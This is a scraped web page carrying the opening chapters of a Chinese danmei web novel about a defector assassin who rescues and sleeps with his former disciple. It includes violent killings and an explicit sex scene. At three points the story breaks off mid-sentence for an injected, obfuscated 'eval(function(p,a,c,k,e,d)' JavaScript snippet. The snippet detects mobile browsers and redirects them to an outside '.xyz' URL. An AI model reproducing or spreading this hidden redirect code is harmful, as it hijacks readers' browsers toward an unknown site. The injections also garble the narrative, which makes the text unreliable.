《小师叔他又叛逃了》 1. 南疆 暴雨,深夜,神寂岭。 靖安言就喜欢雨天、夜晚,尤其是这种暴雨的深夜,适合隐藏太多秘密。 漆黑的山岭像是沉默的巨兽,尖刀似的豆大雨珠从天而落,哗啦啦地一冲,待到第二天放晴出太阳,这片山谷干干净净,仿佛什么都没发生过。 他心情格外好时,吹的笛子就会愈发轻快,雨水的嘈杂声凄凄切切,压着盘桓岭中的高亢笛音,像是淋湿了羽翼还要一飞冲天的鸟,随着靖安言吹出的颤音狠狠一抖。 他吹得太投入,完全没注意到有人来了。 树下的人仰着头看了他好一会儿,可他爬得实在高,从这个角度看上去,只能看到一只漆黑的靴子,往上一点雪色的长裤,雨水从湿透的青色袍角淌下,自靴子边缘连点成线地坠落。 “……靖先生。” 树下那人终于出了些动静,笛音一停。 “靖先生,王上派我来传话。” 极快极轻的一声嗤笑传过,短短一瞬让树下的传话人还以为是自己听错了,但也来不及去思考,只听靖安言懒洋洋的声音自雨幕后清晰传来。 “王上又有什么烂摊子让我给他收拾了?说来听听,让我看看今晚还有没有觉睡。” 传话的斟酌道:“王上说,多日来,南疆内乱,已经向大魏递交求援书,今夜大魏使臣自神寂岭入南疆,王上请靖先生前去接应……” 话音未落,刷地一声,一席白衣狠狠晃了传话人的眼,靖安言蹦下来的地方正是一片水洼,溅起的雨水让两个人瞬间下摆湿透,可靖安言跟感觉不到似的,还往前凑了凑。 传话的只好后退,这一退,靖安言更往前顶,直把人逼到一块嶙峋的山石后,尖锐的石头顶着传话人的后腰,不得不站住了脚步。 “靖先生。”他再度出言叫了一句。 靖安言终于在他一拳远的距离站住了脚步。 靖安言头上戴了个斗笠,却没遮住什么,雨滴顺着他棱角分明的脸庞坠落,消失在他已经淋得湿透的青衣白袍中,只是那双眼却格外锐利,看人的时候有种摄人心魄的亮。 他不说话,就这么看着那个传话的,那个传话的就这么望回去,明显有些气势不足。 “王上让我去接大魏来使?”靖安言终于说话了,微微前倾的身体也终于站直,那股压迫感倏然散去,“让我,去接大魏的人?” 传话的不动声色吐出一口放松的气:“是。” 靖安言背在身后的手抽了出来,晃着指尖那支青玉笛,将雪色的络子转出了残影。 他眉心微微骤起:“你不知道我是谁吗?” “……知道。” “王上不知道我是谁吗?” “……知道。” “那他让我去接。”靖安言笑出声来,“他疯了吧。” 传话的不卑不亢道:“靖先生,前尘不问,无论如何,你现在都是王上的心腹,是王上最锋利的一把刀。” 雪色的络子不转了。 靖安言那双漆黑的眸子突然凝住了,笑容都随之固定在了脸上,只是定定地盯这个传话人许久,像是空气都凝滞了一般。 半晌,他露出个更加肆意的笑:“你说得对,多谢提醒,提醒得对。” “靖安言么,当年大魏的叛徒,烧了家祠、害了师门,差点儿冲上金銮殿把皇帝揍一顿,一怒之下毁了大魏多年搜集的、关于南疆的秘密,让这么多年的心血毁于一旦,然后光明正大地向南叛逃——成了个南疆人。” 靖安言笑嘻嘻地陈述了一下自己的罪过,像是在说别人的事:“哎,你说,就我这么个人,大魏不管派谁来助南疆一臂之力,真不会先跟我打起来吗?” “还是你觉得,在我的叛逃里,就没有对大魏有一点儿怨恨啊?”靖安言沉思了一下,“白活了,我从不知我脾气这么好呢!” 传话的只是沉默地看着他,一句话都没法接。 “行吧,你也就是个传话的。”靖安言无甚意趣地摆摆手,“好了好了知道了,不过,回去你得告诉王上,咱们丑话说在前头,要是大魏来使对我怀恨在心多年,亦或者是我看着他们那帮假正经就来气,真动起手来,援兵成敌人了,可不关我的事儿啊。” “靖先生。”传话的终于有话说了,“请你以大局为重。南疆正处于危难之际,当务之急,不是计较个人恩怨的时候。” 靖安言转身就走,也不知听没听进去,高马尾随着他的脚步荡漾起来,一甩就是一串水珠。 “还有。”传话的蓦地叫住了他,“靖先生,若我记得不错,今夜你应当按照王上吩咐,在诛杀一支背叛南疆的军队。” 靖安言脚步一刹,侧首问:“所以呢?” “大雨倾盆,深更半夜,的确很适合掩藏踪迹,但作为杀手,不该光明正大地吹笛子,这容易暴露行踪,与将自己的软肋亮给敌人看有何两样?” 靖安言指腹摸了摸下巴:“……你这是在教我如何杀人?” 传话的道:“告诫而已。” 靖安言转过身来:“你是什么人?” “王上的一名随侍罢了。”传话的顿了顿,“但我是仆,你是刀。” “仆虽是仆,但也是个人,有自己的判断,可以发号施令。刀不是。”靖安言打了个清脆的响指,“你是这个意思,对吧?” 传话的又闭嘴了,这次是默认。 靖安言一哂,看都未看他一眼,扬长而去。 只是遥遥地留了一句话:“看这天像是要打雷了。” 传话的不明所以,疑惑地盯着他越走越远,渐渐消失在雨幕中。 就在靖安言身影消失的那一瞬,天空蓦地传来一声闷雷,雪亮的闪电刹那间将这片天地照得一白。 传话的瞳孔一缩。 这里不只剩下他一个人。 以他所站之地为圆心,血水向四面八方延展而去,水里趴的、地上躺的、树上挂的,甚至在悬崖峭壁上钉着的,密密麻麻、数以千计…… 全是死人,全是尸体!!! 他们死不瞑目,临终前似乎还不可置信,已经凝滞的脸上还带着不可思议的表情。 传话的腿一软。 下一刻,一声高亢的笛声刺破云霄,怒雷滚滚,带着足以照亮半片天幕的雪色闪电,传话的喉间一紧,下意识用手摸去,滚烫的鲜血喷涌而出。 耳边只剩下靖安言方才略带好笑的疑问: ——“你在教我杀人?” 疯子…… 果然是个……疯子。 传话的身体一软,扑通一声栽在地面。 远处靖安言却像能够听见这动静似的,懊恼地把笛子从唇边放了下来,摸了摸湿润的唇瓣:“糟了,大意了,这下没人帮我告诉王上,我要和大魏打起来不怪我了。” 雨越下越大了。 雷声一阵比一阵响,从神寂岭东部一路打到西侧,轰隆隆的,听得人心慌。 可再大的雷声现在都没有心跳声嘈杂。 年轻人身上的轻铠毫无破损,腹部却有鲜血流出,俊美的脸被雨水打得湿透,巨大的山岭像是要将他压实在这里,连树影都似招魂的幡。 暴雨冲刷后,只剩下他那双不屈又明亮的眼神。 封长念倒在雨泊中,微凉的轻铠已经被鲜血浇热,勉力回头望,只能看到一片死寂,他努力地用手去拍打地面,可那微乎其微的动静都被暴雨声吞没。 “还有活着的吗?!还有吗——” 他头脑一阵又一阵发晕,说出几句话也让他喘喝得几乎要背过气去,他狠狠地抽了自己一巴掌,咬破舌尖让自己清醒。 “你——” 没人回应他。 没人了,都死了。 他恶狠狠地捶了一下地面,溅起的水珠模糊了视线。 几日前,南疆王上书南疆内乱,请大魏出兵援助平复祸端,大魏皇帝立刻派了封长念领兵前来。 南疆形势复杂,神寂岭是大魏与南疆之间的一道天然屏障,里面多瘴气毒虫,因此,为保万全,封长念带一队亲兵夜涉神寂岭探探深浅,确保能够无虞后,再领大部队渡过。 却没想到一语成谶,这里当真成了葬身之处。 南疆形式怕是已经恶劣到了一定地步,为了渡过神寂岭,南疆王特意送了解药和引导人过来,却不想解药失灵,引导人被杀,有人就是不想让大魏帮南疆王一把! 封长念再度狠狠咬了一口自己,勒令自己不要睡。 这一睡,怕是再也不会醒来了。 我还有事情要做…… 我还有任务要完成…… 他抽出怀中匕首,伸出手去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374066|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧紧握住锋利的刀刃,鲜血四溢。 我…… 还有一个人…… 要见…… 十年了,十年了。 我终于要见到了。 我不能死在这儿。 不能…… 可渐渐的,就连深可见骨的口子带来的伤痛都变得模糊不清,眼皮沉沉的还是支撑不住,封长念手一松,一头扎进了一个未知的梦里。 梦里的天空蓦地一晴,没有如注大雨,也没有大魏山川万里,这是一个不知名的地方,他仿佛变成了一片云、一朵花、一方石头,静静地打量着这座被夕阳余晖洒满的小山坡。 有个人坐在山坡上。 那人双腿交叠,随着迎面拂来的风,一下、一下地晃,腰间垂着的银质铃铛跟着他动作清凌凌地响,余音回荡。 渺远的地方传来萧索笛音,如怨如慕、如泣如诉,他的侧脸不太真切,轮廓分明的眉骨、高挺的鼻梁还有薄薄的嘴唇都敛于过亮的残阳下,只有那双眼睛愈发明亮清澈。 封长念感觉自己的灵魂都随着那铃铛声颤栗起来,贪婪地、如饥似渴地一遍一遍用目光描摹那个人的侧影。 他好久没见过那个人,可在这个或许是濒死的梦里,却再度见到了。 直到这个时候他才意识到,原来那个人周身的每一处细节都如此清晰地印在他的脑海里,脑后披散的黑发、一丝不苟的衣领、挺拔的脊梁、隐隐约约的蝴蝶骨轮廓,然后细细的腰身处衣摆散开,拖在荒芜的山坡上,却没沾染一丝泥泞。 十年了。 那个人的模样一如十年前,一点都没有发生变化。 “小师叔……” 仿佛听见了他的呼唤,山坡上的人缓缓转头,阴影隐去了他的表情,可封长念觉得他是在笑的,因为他薄薄的嘴唇动了动,勾起了一个好看的弧度。 “长忆。” 那个人向他伸出右手,封长念心神一动,拔步就要向他跑去。 近了、近了。 近到他可以伸出胳膊就握住这只手,感受那只手温柔的力量,熟悉的温度,蓬勃的生机。 如同当年,一模一样。 就在这一刻变故陡生。 那人抬起的右手处光影一闪,封长念眸子一缩,那断手几乎要飞到自己眼前,泼了他半面鲜血。 血腥味儿直往封长念鼻腔里钻,他惊骇地看着森白的骨骼从腕处露出,血液喷薄如赤色的泉水,背后是漫天的血色,妖冶又血腥,给这幅安宁的景象添上了一抹妖冶的狰狞。 他失声怒吼:“靖安言——!!!” 靖安言的唇角还在笑着,断手白骨鲜血斑驳,滴滴答答往下淌。连他唇角都沾染了血色,在上翘的唇角下蜿蜒成河,一直流到封长念脚下。 “长忆,来找我啊,长忆。” “长忆,来找我。” “我在南疆等你。” “小师叔——!!!” 封长念凄厉的呼号又瞬间止在喉间。 脖子上不知何时被割开了骇人伤口,血光一现,疼痛、窒息、喷涌而出的鲜血齐齐翻涌,封长念不敢置信般地捂住自己的伤处,涌动的血漫过他的手背,还带着滚烫的温度。 靖安言还是在笑,森然的骨骼与妖冶的笑容,在那里仿佛一幅画、一尊不会动的神像,遥遥地望着封长念,对于他的痛苦视若无睹,对于他的濒死的挣扎置若罔闻。 “小、师、叔……” 我还没……见到你。 原来命运还是残忍的,临死前赐他一场梦,让他见到却又触之不及,让他望见却又远在天边,让他痛苦却又不舍醒来,让他想呼喊却只能被痛苦淹没。 而梦里的靖安言,是那样的作壁上观,无动于衷。 无情又无辜。 身体痛、心里痛、哪里都痛。 意识消散前,封长念蓦地想起一件事。 曾经很久之前有人说过,一个人如果在梦中死亡,那么他就真的再也醒不过来,于梦于现实,皆是如此。 我要死了,小师叔。 我距离你这么近了,可我要死了。 我终于可以堂而皇之进入南疆了,可我要死了。 我要死了。 你会看到我的尸体吗? 你还……记得我吗? 2. 相逢 “你今天怎么回来得这么晚!” 靖安言抓着一把濡湿的发尾,推开小院的门时,里面传出一声女孩儿的叫嚷。 “整整迟了一个时辰!我以为我要去给你收尸了!” 靖安言步子一刹,有些无奈又有些宠溺:“阿月。” 阴影里面抱臂坐着的小姑娘缓步走出来,她生了一头乌黑亮丽的长发,编成两股麻花辫垂落,步履间,发尾绑着的小银铃随之响动。 浮光涌现,她那一身银饰上划过一道雪白的软物——一条小银蛇自她颈间攀到发顶,替主人示威似的吐了吐鲜红的蛇信。 “说话啊,平时不挺能说的嘛。”夷月抱着臂审视他,“从南疆王给你下命令时我就劝诫过你,你的对手是一整支军队,让你带我一起,你偏不听,我真以为你要回不来了!” “这不是好好儿回来了嘛。”靖安言走过路过还顺手揪了一下她的发辫,“吓到你了,我的错。” “你那是认错的态度吗!喂!”夷月蹦起来,“怎么还不珍惜人家劳动成果的!我编辫子好麻烦的,歪了你给我重弄啊?!” 靖安言已经快步走到了门口,闻言露出一丝促狭的笑意,在门后一闪而过:“我手不稳,没那么巧。” 随后屋内传来靖安言又惊又喜的声音:“嚯,水还热乎着呢,不是说我晚了一个时辰,这一个时辰里莫非一直替我换着热水啊。” 夷月冷嗤一声,歪歪斜斜地往檐下墙壁上一靠,手腕一翻小白蛇乖顺地攀上来,她伸出手指点了点小白蛇的三角头。 “真是个麻烦的人,对吧。” 靖安言作为南疆王杀人的那把刀,手上的血腥只多不少,偏生这人跟有洁癖似的,每次出任务回来都要洗澡,这一准备洗澡水的任务就落在了看家的夷月身上。 夷月曾经十分不理解地问靖安言:“有洁癖还给南疆王当杀手?” 靖安言真的沉思了一下,然后正经地回:“因为有报酬啊,报酬很丰厚的,值得我克服一下。” 可靖安言一来不添置金贵器物,二来不喜欢给自己置办行头,是以他一直说报酬报酬,夷月却从来没见过什么金银从他兜里钻出来。 奇怪得很,还不许人问。 夷月伸了个懒腰,看看时间差不多,人也等回来了,她也该回去休息了。 她漫步刚过门口,就见闭上的木门复又拉开。 靖安言换了一身干净衣服,拿着一条帕子擦着头发,就这么走了出来。 他一向洗澡洗得久,冷不丁一出来给夷月吓了一跳:“这么快?” “活没干完。”靖安言屈指在夷月眉心一弹,“一起干完再睡吧。” “那你还回来干什么?” “换套衣服,之前的沾了血和雨,不舒服。”靖安言弯腰捞起檐下一把大伞,在掌心转了几圈,俏皮地冲夷月一眨眼,“顺带着,回来搬个救兵。” 雨势没有要收的迹象,雷声阵阵,岭里的叶子撑不住雨滴的重量,随着夜风哗啦啦地抖着,砸在一把斜撑着的大伞上,坠落在男人肩头。 大半的伞撑着小姑娘的头顶,靖安言左肩湿透,却比之前只带了件斗笠要遮去许多。 但他的神色比被雨淋还要无奈。 “让你去接大魏来使?我就说南疆王日常脑子犯病。” “等等,这不是他又琢磨出来的什么招数吧,想看看你还有没有……那句话怎么说来着,身在曹营什么什么?” “那你这算不算,呃,算不算那个叫同什么戈?” “身在曹营心在汉。同室操戈。”靖安言一一耐心地解答着,“犯病这种话你当我面说说就算了,最近王上还真的身体欠安,你别去外面瞎嚷嚷。” 夷月瞪着一双大眼睛:“我说的是这件事吗?” “不是吗?好吧,琢磨一下的确不是。”靖安言指腹划过下巴,“不过我这不算什么同室操戈,我早不是大魏人,要不然也不用请你走这一遭,我是真的怕我会忍不住杀人。” 夷月反问:“你居然还有忍得住的时候?” 靖安言手一摊:“没办法,让王上小心些我会杀人的传话人被我杀了,没人传话了,那我只能不杀人了,憋屈死了。唉。” “所以,你跟他们到底有多大仇多大怨,看到一个大魏人就忍不住了?” “嗒”,靖安言一脚踩进水洼中,在怒雷咆哮中将笑容一寸寸收敛起来。 他声音有些发紧:“好像不用你了。” 夷月转头望去,不禁倒吸一口凉气。 羊肠小道上,横七竖八躺了一地尸体,像是一道长长的、漆黑的河流,绵延不绝,根本看不到尽头,靖安言下意识看了眼脚底,连水坑都被染成了血红色。 “我们……来晚了。”夷月眉心蹙起来,“莫非是走漏了风声,圣酋先下手了?” 南疆内乱上呈给大魏的请援书说的正是圣酋谋反,换在大魏那边的官职,就是皇帝手下武将第一人的大将军造反了,要自立为王,把上头的人拽下去。 靖安言来南疆十年了,对圣酋这官职的称谓还是有些没适应。 “估计是,反正不是我动的手。” 靖安言把伞塞给夷月,率先走上前翻动了一下最前面的尸体,那尸体穿着一副南疆打扮,死的时候神色狰狞,手臂上的爬满了紫色的纹路。 不消他开口,夷月已经将手腕递出:“阿银,去。” 一向乖顺的小白蛇像是看到猎物入网的猎人,迫不及待地蹿了出去。 南疆人人会蛊术,夷月手上那条蛇就是她的得意之作,可分辨活人与死人的气息,体内蛇毒更是既可毒人又可救人,是个关键时刻救死扶伤、或者临了补刀的利器。 靖安言沉默着站起身,夷月瞟了他一眼,没从他眼中看到什么对这群大魏人活该死了的幸灾乐祸。 他不动声色地后退,重新站回夷月身边接过伞。 夷月小声道:“你真觉得难过,可以说的,我又不会告诉南疆王。” “难过?我可没有。” 夷月不屑地冷哼一声,也不多问,片刻,林中银光一闪,小白蛇翘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374067|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着尾巴游了回来,顺着夷月的脚踝攀上来,乖乖地在她手腕一盘。 “一个活的都没有了,”夷月叹了口气,“都死了,我们来晚了。” “明天我如实告诉王上这边的情况。”靖安言转身就走,对一地尸体视若无睹,连个要敛骨的意思都没有,“求援无门,反添一桩麻烦事,大魏那边不好解释……” 夷月突然厉声:“你别动!” 多年在刀尖上讨生活的敏锐让靖安言反应极其迅速,在夷月第一个气音抖出来的那一刻他就意识到了不对劲,袖中一抖掉出一把小刀,说时迟那时快,一道寒芒冲着揪住他裤脚的那只手刺去。 “等——” 夷月还没来得及说完,只见靖安言身形猛地一僵,那寒光堪堪停住,怎么也动不了了。 夷月几步跑过来,揪住靖安言那人的手没松,胸膛还有微弱的起伏,再看打扮——大魏人! 居然还有幸存者!夷月都替他松了口气,要不是靖安言停得很突兀也很急促,这人好不容易捡回来的命肯定没了,匕首已经嵌入了这人颈侧半寸,血珠从雪色的利刃处冒出,一颗又一颗。 “好不容易捡回来的命,差点儿又丢了。”夷月伸出手,捏住这人的腕子,又翻过来看了看手,“真够坚毅的,中毒这么深居然还能吊这一口气,全靠疼痛刺激保持。” 夷月让靖安言来看:“这小郎君脸长得这么漂亮,看不出来心这么狠。看看这手,深可见骨,自己握的,啧啧,你们大魏人对自己都这么狠啊——” 没人回她,夷月疑惑地扭头。 靖安言大半神色都被夜色笼罩,只有一张唇抿得紧紧的,握着匕首的手放在身侧,紧紧地攥着拳。 “你怎么了?”夷月被他吓着了,站起身来看见他神色不对,“……你不会真要杀人吧。” 靖安言依旧没回,只是复又蹲下,伸出手想去拨开眼前人的额发,指尖闯入视线的时候才发现自己在细密地颤抖。 是看错了吧? 一定是看错了吧? 不会是……怎么会呢? 靖安言指尖一动,借着劈闪过的电光,终于看清了眼前的这张脸。 他眸子蓦地一缩。 封……封珩?! 靖安言不敢置信地扳起他的下巴,从眉眼到嘴唇仔仔细细地又看了一遍——是他,真的是他! 面前的青年已经没了当年分别时的少年模样,肩膀愈发宽阔,面容也愈发英挺俊朗,只是发紫的嘴唇和微弱的吐息昭示着他的奄奄一息。 怎么会是他?! 那一刻陈年往事扑面而来,靖安言呼吸一滞,险些溺毙其中。 一旁的夷月小心翼翼地:“那个,咱是救还是假装没看见……啊!” 靖安言直接把人扛了起来。 站起来的封长念比他高出半个头,哪怕再虚弱也已经是个成年男人,靖安言的这一扛显然忘记这件事,结果就是被带了一个趔趄,险些闪了腰。 夷月赶忙搭了把手,靖安言这才开口:“先带他回家。” 3. 绮梦 这一夜注定无眠。 外面的雨势渐收,夷月怀里抱着阿银,一人一蛇坐在炉灶边听着雨水声和煮药声此起彼伏,在好奇心的驱使下,第一次熬夜的小姑娘愣是不困了。 她心里有一大堆疑问,几次想开口,但又触及靖安言紧绷的神色后咽了回去。 她从没见过靖安言这幅神情,靖安言一向大大咧咧,凡事不往心里搁,被人差点儿砍掉一只手,都能用好的那只摸摸她的头,说没事儿小丫头哭什么我都不哭。 这是他第一次这么沉默。 “阿月。”靖安言往后一伸手,“把你家小蛇借我。” 被点名的阿银扭头就要往夷月袖口钻,又被夷月毫不客气地拎出来上交。 “这不挺上心的嘛。”夷月试探着说,“还说要杀人呢,要不是我知道你没事,我都怀疑中毒的是你了。” 靖安言瞟了她一眼,罕见的,里面没有促狭和调笑,只有无边无际的沉重。 夷月一愣,靖安言已经捏开阿银的嘴,按在药碗边吐毒液了。 “他不一样。”阿银紧紧缠着他的手腕,难受地收紧蛇身,没过一会儿就将靖安言的手缠得发胀,“……我不能动他。” 夷月歪着头:“……认识?” 她想起方才靖安言把人背回屋,也不嫌弃这人身上湿淋淋、脏兮兮的,直接把人放在床上,把夷月撵出去后给这人上上下下都好好擦了个遍,换上了一套自己的干净衣服。 这时候倒是没什么洁癖了,夷月进去把脉诊毒的时候看到靖安言在替他擦头发。 毒液量够了,靖安言松手,阿银瞬间钻回了夷月袖口里寻安慰。 靖安言看着自己还没回血的手,涩声道:“他是我徒弟。” 夷月惊讶地瞪大了双眼。 “你知道大魏玄门吗?”靖安言的失神只在一瞬间,手上动作不停,继续做解毒药,“就是那个,历代南疆王都想要灭掉的玄门。” “玄门直属于皇帝,在南疆以蛊术占据神寂岭以南、让大魏束手无策的时候就成立了。”靖安言解释说,“为的就是研究南疆蛊术,保护南边安定,门内弟子皆为在朝官员兼职出任,按照师门制度传承,代代相续。” “我以前就是玄门弟子。”倒药杵撞在药罐子上,唤回了他的几分神智,“他是我师兄收的徒弟,排行第四,他们那一辈一共五个人,我师兄顾不过来,把他分给了我带。” 夷月觑着他的神色:“当时……感情挺好的吧。” 是挺好的。 靖安言没叛出大魏的时候,性格比现在还要飞扬跳脱,明明是长辈,却没什么长辈架子,经常和那帮小的玩成一片。 封珩却完全相反,小小年纪就老成持重,靖安言带他翘课上街、打马听曲的时候,总是板着一张脸告诫他小师叔,今日课业还未完,今日剑还没练,今日…… 那时候靖安言就去捏封珩的脸,逗他:“小小年纪,比我爹都念叨。” 封珩就抬起那双墨玉似的眼:“我说的不对吗?” “对是对,但你是师叔我是师叔?” “可你也没比我大多少。” “你就说辈分长没长吧。” “……” 或许也是因为太好了,所以当年他叛逃时,封珩就格外令他印象深刻。 他当年一把火点了玄门里珍藏的有关南疆蛊术的卷宗,卷铺盖逃之夭夭时,整个大魏都在追杀他,迫不得已,他只能走小路,本以为已经万无一失了,结果却在神寂岭外被堵了个正好。 那天也是个雨天,夜晚,他已经出了大魏国境,突然听见有人叫他,一转身,封珩撑着一把伞站在大魏边境的城门下,就这样神色复杂地看着他。 他至今都记得,封珩突兀地出现在他眼前时,他是慌张的;封珩孤身一人出现在他眼前时,他是震惊的。 “小长忆,你单枪匹马一个人来找我这个叛徒,是真觉得我不会对你做什么吗?” 封珩动了动唇:“小师叔。” 靖安言冷酷道:“我已经不是你小师叔了。” “……靖安言。” “没大没小。”靖安言看着那高耸的城楼,又看了一眼城楼下的人,突然有些疲惫,“……不知道你怎么跑了大半个大魏来的,但我劝你怎么来的,就怎么赶紧回去。” “为什么?”靖安言听见他的声音在抖,不是歇斯底里地质问,只有担忧,替靖安言担忧,“……为什么?” 靖安言定定地看着他,然后叹了一口气:“没有为什么。” 腰间的玉佩被拿在手里,一面是靖安言淡定的面容,一面是封珩担忧的眉眼。 “就好像这枚玉佩,我不喜欢了,就不要了。”靖安言手一松,在玉碎的清脆声中,一同跌落的是封长念手中探路的灯。 火苗在暴雨里吞噬半只灯笼,封长念的神色骤然变得很痛苦。 靖安言说:“我有没有告诉过你,小长忆,我其实很讨厌玄门,很讨厌大魏,很讨厌所有。” 掀翻的伞、烧毁的灯、残破的玉佩,还有被他留在城楼下的、瓢泼大雨中的人,成了靖安言对大魏最后的记忆。 岁月弹指一挥间,居然已经过去十年了。 等到靖安言从回忆中回过神来,他已经捏着那枚做好的药丸站在了封珩床前,烛火幽幽,映照着封珩俊朗的五官,甚至能看清他微颤的眼睫。 靖安言把药给他服下,在走和留之间纠结了一会儿,还是认命地坐下来。 长大了。 靖安言用帕子拭去他额间渗出的冷汗,一瞬不瞬地瞧着他的脸。 大概每个当过长辈的人,看见自己十年不见的小辈,第一个反应都会是——长大了。 方才夷月从他换下的湿衣服里翻找出一些重要的东西,除了配饰之外,就是那枚玄门令牌,这牌子靖安言也曾经有一块,后来被他毫不犹豫地扔进了玄门大火里。 他看了下这块令牌,已经是玄门门主级别了,曾经的少年也从一个小弟子变成了独当一面的重臣。 时间过得真快啊。 靖安言内心喟叹了一句,算算药效快起来了,于是起身打算离开。 “……小师叔。” 呓语声传来,带着成年男人的低沉和磁性,靖安言被叫得一怔,晃神间啪的一声,自己的手就被人抓住了。 封珩的掌心干燥、温暖,和少年时在他身后抓着他要回师门做课业的感觉全然不同,靖安言手指下意识一蜷,然后不动声色地抽出了手。 “多大人了。还遇事儿就喊小师叔。” 靖安言折回去,双臂一撑,观赏着他脸色由苍白渐渐转粉,然后变得愈发红艳。 靖安言用手背抵上他的额间,果不其然烫了起来:“别怕啊,解毒呢,小师叔帮你排排毒。” 热…… 怎么会这么热…… 明明方才还冷得要命。 封长念晕晕沉沉地睁开眼,天旋地转,身上的每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374068|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸都在叫嚣着酸痛,他渐渐回神,还没能完全弄清自己这是在哪里。 “醒了。” 猝不及防地,他听见一句魂牵梦萦多年的音色,还未完全聚焦的视线落在窗边,靖安言闭着双眼靠在那里,熟悉的神态一如当年。 封长念几乎是那一瞬间眼前就起了雾:“小师——” 他想叫小师叔。 他想喊靖安言。 他想说好久不见。 可那么多的话都被一股邪火蓦地顶了下去,他半边身子不由自主地一软,眼中划过一丝不可置信,旋即死死攥住了被角。 久别重逢居然会让靖安言看见如此情态。这么多年,封长念持重端庄惯了,一时间居然慌了神,刚醒来的手指发力就会抖,连带着一整条胳膊都在颤。 “小长忆,怎么了?”就在这时,靖安言倏然睁开了眼,他仿佛察觉不到封长念的异样似的,一边缓步走来,一边居然动手在解发带。 封长念看着他的发带飘落,语带惊慌:“……别。” “别什么?”靖安言散了发,似乎仍觉得不够,活动了一下颈项,开始动手剥自己的衣服。 修长的手指将外袍随手一扬,修长的手指搭在领口,靖安言又问了一句:“什么别?” 怎么会这样? 怎么会这样!? 封长念不知道这是真的还是在做梦,偏生那股邪火烧得愈发浓烈,他硬生生咬紧牙关闭上眼,不敢再去看妖精似的靖安言。 他艰难反抗:“你别过来。” “怎么了?”吐息就在耳畔,封长念半边身子一麻。 靖安言在…… 在勾引他。 “这不是你日思夜想的吗?”明明他已经很用力在盖住自己了,可靖安言手指一动,就轻巧地将被褥掀开了条缝,微凉的手指如一条灵活的蛇钻了进去。 “怎么送到眼前反倒不了?” 手指在被褥下看不见动作,只能看到不厚的被子下游弋的起伏,封长念闷哼一声,险些背过气去。 “我在这儿呢,长忆。”微凉的手指这次抬起的是他的下巴,“看看我,多年不见,不想我吗?” “我……”封长念半敢不敢地睁眼,一向冷静自持的眼里都是翻滚的欲念,“小师叔,你离我远些,我现在——” “知道。”靖安言微敞的中衣在灼烧他的理智,言语更是,“你长大了,懂事了。” 话音未落,烛火一闪,靖安言探头过来,准确无误地吮住了封长念的喉结。 那一刻一个激灵打通他的全身,封长念忍无可忍,也顾不得自己昏沉的脑袋,一手揽腰一手扶着后颈,把靖安言往被褥里猛地一掀。 他重重地压下来,又在距离他的唇只有一指处堪堪停住:“小师叔,我自知胆大包天,此情以下犯上,有如欺师灭祖,可你不要……不要逼我,也不要后悔。” 不是的。不是的。 他想说的话很多,他想说他的思念、他的执着、他的等候,想问问靖安言这些年好不好,可到头来都被灼烧干净,变成愈发得寸进尺的话。 “我现在定力不多……” 久别重逢,居然第一件事就是……稀里糊涂滚上了床吗? 靖安言不说废话,直接把人往下一压,唇齿相贴间,封长念最后一丝理智消失殆尽。 只有一句含糊在唇舌间的叹息,带着不容置疑的强势,交缠在呼吸之中,那是让他刻骨铭心的三个字:“靖安言。” 4.扯谎 靖安言有着一把好腰,是长年学武习剑练出来的,在封长念随他学剑的少年时代,靖安言那飘逸灵动的剑法、琢磨不清的身形、如鬼影般刁钻的路数,一半都要归功于这把腰。 在舞剑的时候这把腰强韧有力,封长念却从来都没想过,原来在某些特定时刻也这么勾人。 而且这么细。 封长念双手攥着的时候,稍不注意就按出一个印子,落在被腰封常年遮挡的皮肤上,激得封长念眼底一片猩红。 久别多年,乍然重逢,哪怕混乱如此,他也不想伤了小师叔,偏生躺床上那个勾着唇眯着眼,嘴上都不消停。 “没事儿,你别担心。”靖安言粗喘着去吻他的肩颈,“你小师叔经得起折腾,吃劲儿着呢。” “你——” 封长念暗骂了一句,什么肚子里的道德纲常都在那一吻下丢到九霄云外,用力扯过腰带的时候手背都绷着青筋,盯着靖安言那双发潮的桃花眼,一面将他在床头捆了个严实。 “你知道我是谁吧?”情动间,封长念一遍又一遍去问,“你真的知道我是谁吧?” “……长、长忆。”靖安言眼睛终于聚不起那勾人的光,散散的,像是醉了,“……封珩。” 封珩。 他记得我。 封长念在他轻声呢喃自己的名字中攀到顶峰,本来整洁的被褥被闹得一塌糊涂,云收雨歇,那股邪火终于消散,封长念从角落里扯过一张勉强能盖的被子,将靖安言的一身痕迹遮了个严严实实。 靖安言已经半睡半醒了,眼睫半垂,眼尾的那缕潮湿还在,又被封长念小心翼翼地伸手拂去。 